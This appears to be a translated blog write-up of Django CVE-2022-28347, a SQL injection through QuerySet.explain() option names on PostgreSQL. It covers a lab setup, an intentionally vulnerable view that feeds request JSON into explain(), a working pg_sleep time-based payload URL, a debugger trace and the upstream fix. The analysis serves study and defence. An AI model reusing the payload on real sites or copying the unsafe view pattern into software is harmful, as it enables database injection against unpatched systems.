Django SQL injection vulnerability CVE-2022-28347

1cf457f0b5c067cde9e7a947851a2a65.png

Vulnerability Profile

A SQL injection issue was found in QuerySet.deexplain() in Django 2.2 versions prior to 2.2.28, 3.2 versions prior to 3.2.13, and 4.0 versions prior to 4.0.4. This is achieved by passing a crafted dictionary (with dictionary extensions) as the **options argument, with the injection payload placed in the option names.

Affected version

2.2 =< Django < 2.2.28

3.2 =< Django < 3.2.13

4.0 =< Django < 4.0.4

Environment build

Create vulnerable Django version 3.2.12 project

Create startapp Demo and modify the files in turn

Install postgresql database

settings.py set the connection database to postgresql database

DATABASES = {
    'default': {
        'ENGINE': 'django.db.backends.postgresql',
        'NAME': 'test',
        'USER': 'postgres',
        'PASSWORD': '123456',
        'HOST': '127.0.0.1',
        'PORT': '5432',
    }
}

urls.py set the corresponding route

from django.contrib import admin
from django.urls import path

from Demo import views

urlpatterns = [
    path('admin/', admin.site.urls),
    path('index/', views.index),
    path('demo/', views.users),
    path('initialize/', views.loadexampledata),
]

models.py

from django.db import models

# Create your models here.
class User(models.Model):
    name = models.CharField(max_length=200)

    def __str__(self):
        return self.name

views.py

import json


from django.http import HttpResponse
from django.shortcuts import render

# Create your views here.
from .models import User



def index(request):
    return HttpResponse('hello world')

def users(request):
    query = request.GET.get('q')
    query = json.loads(query)
    qs = User.objects.get_queryset().explain(**query)
    return HttpResponse(qs)


def loadexampledata(request):
    u = User(name="Admin")
    u.save()
    u = User(name="Staff1")
    u.save()
    u = User(name="Staff12")
    u.save()
    return HttpResponse("ok")

Vulnerability recurrence

http://127.0.0.1:8000/demo/?q={"ANALYZE)+select+pg_sleep(5);--+":"aaa"}
9fbe5e92bba9f3c6a65dd493351776e3.png

A successful build was found to put the server to sleep

Vulnerability analysis

Before code analysis, let's understand a knowledge point EXPLAIN

EXPLAIN

EXPLAIN -- display the execution plan of a statement

19ca42664df249ba50641497862d8d0c.png
image
EXPLAIN [ ( option [, ...] ) ] statement
EXPLAIN [ ANALYZE ] [ VERBOSE ] statement

option:
    ANALYZE [ boolean ]   执行命令并显示实际运行时间
    VERBOSE [ boolean ]   显示规划树完整的内部表现形式,而不仅是一个摘要
    COSTS [ boolean ]
    BUFFERS [ boolean ]
    TIMING [ boolean ]
    FORMAT { TEXT | XML | JSON | YAML }

statement:
    查询执行计划的 SQL 语句,可以是任何 select、insert、update、delete、values、execute、declare 语句

EXPLAIN ANALYZE will not only display the query plan, but will actually run the statement. EXPLAIN ANALYZE discards any output from the SELECT statement, but other operations within that statement are performed (such as INSERT, UPDATE, or DELETE).

debug analysis

cc79d4cb712423ecbedee3bb03edc348.png

django.db.models.query.QuerySet.explain

6fbbb472a857159772d53d9513896209.png

django.db.models.sql.query.Query.explain

7b44b2fb22c286698d75bc4c610bd48e.png

django.db.models.sql.compiler.SQLCompiler.explain_query

f79ce736c254ba83f7905e00fac1b0f3.png

django.db.models.sql.compiler.SQLCompiler.execute_sql

4f2a5b08720435243ad0cafc99d951dd.png

django.db.models.sql.compiler.SQLCompiler.as_sql

6b74c9961326d7220edf16fb81e20f9b.png

Here, the corresponding explain_query_prefix method will be called according to the selected database

django.db.backends.postgresql.operations.DatabaseOperations.explain_query_prefix

5a8fad8d1b7cdfec546c2446779069c6.png

postgresqlThe explain_query_prefix method is rewritten to splice the key name into the SQL statement

648d53ec91253bfea70e20557bf1f429.png

The last SQL statement executed was

'EXPLAIN (ANALYZE) SELECT PG_SLEEP(5);--  true) SELECT "Demo_user"."id", "Demo_user"."name" FROM "Demo_user"'

Bug fixes

https://github.com/django/django/commit/00b0fc50e1738c7174c495464a5ef069408a4402#diff-fbd8a517f5fa1333b9f7273bcd007551cd2fb4b8f6732cd6002ba42411802901

ef9a13979ac247cfc6d1e708b6e8960a.png

Do a filter and throw an exception if a dangerous character is found

fce40e57e3ee330f7117464a7eda668a.png

Only strings in the whitelist will be spliced ​​into the statement

Call for original manuscripts

Call for original technical articles, welcome to post

Submission email: [email protected]

Article type: hacker geek technology, information security hotspots, security research and analysis, etc.

If you pass the review and publish it, you can get a remuneration ranging from 200-800 yuan.

For more details, click me to view!

9a0e82a46c6ae460a871fa2fe05f0fed.gif

Shooting range practice, click "Read the original text"

Guess you like

Origin blog.csdn.net/qq_38154820/article/details/130758127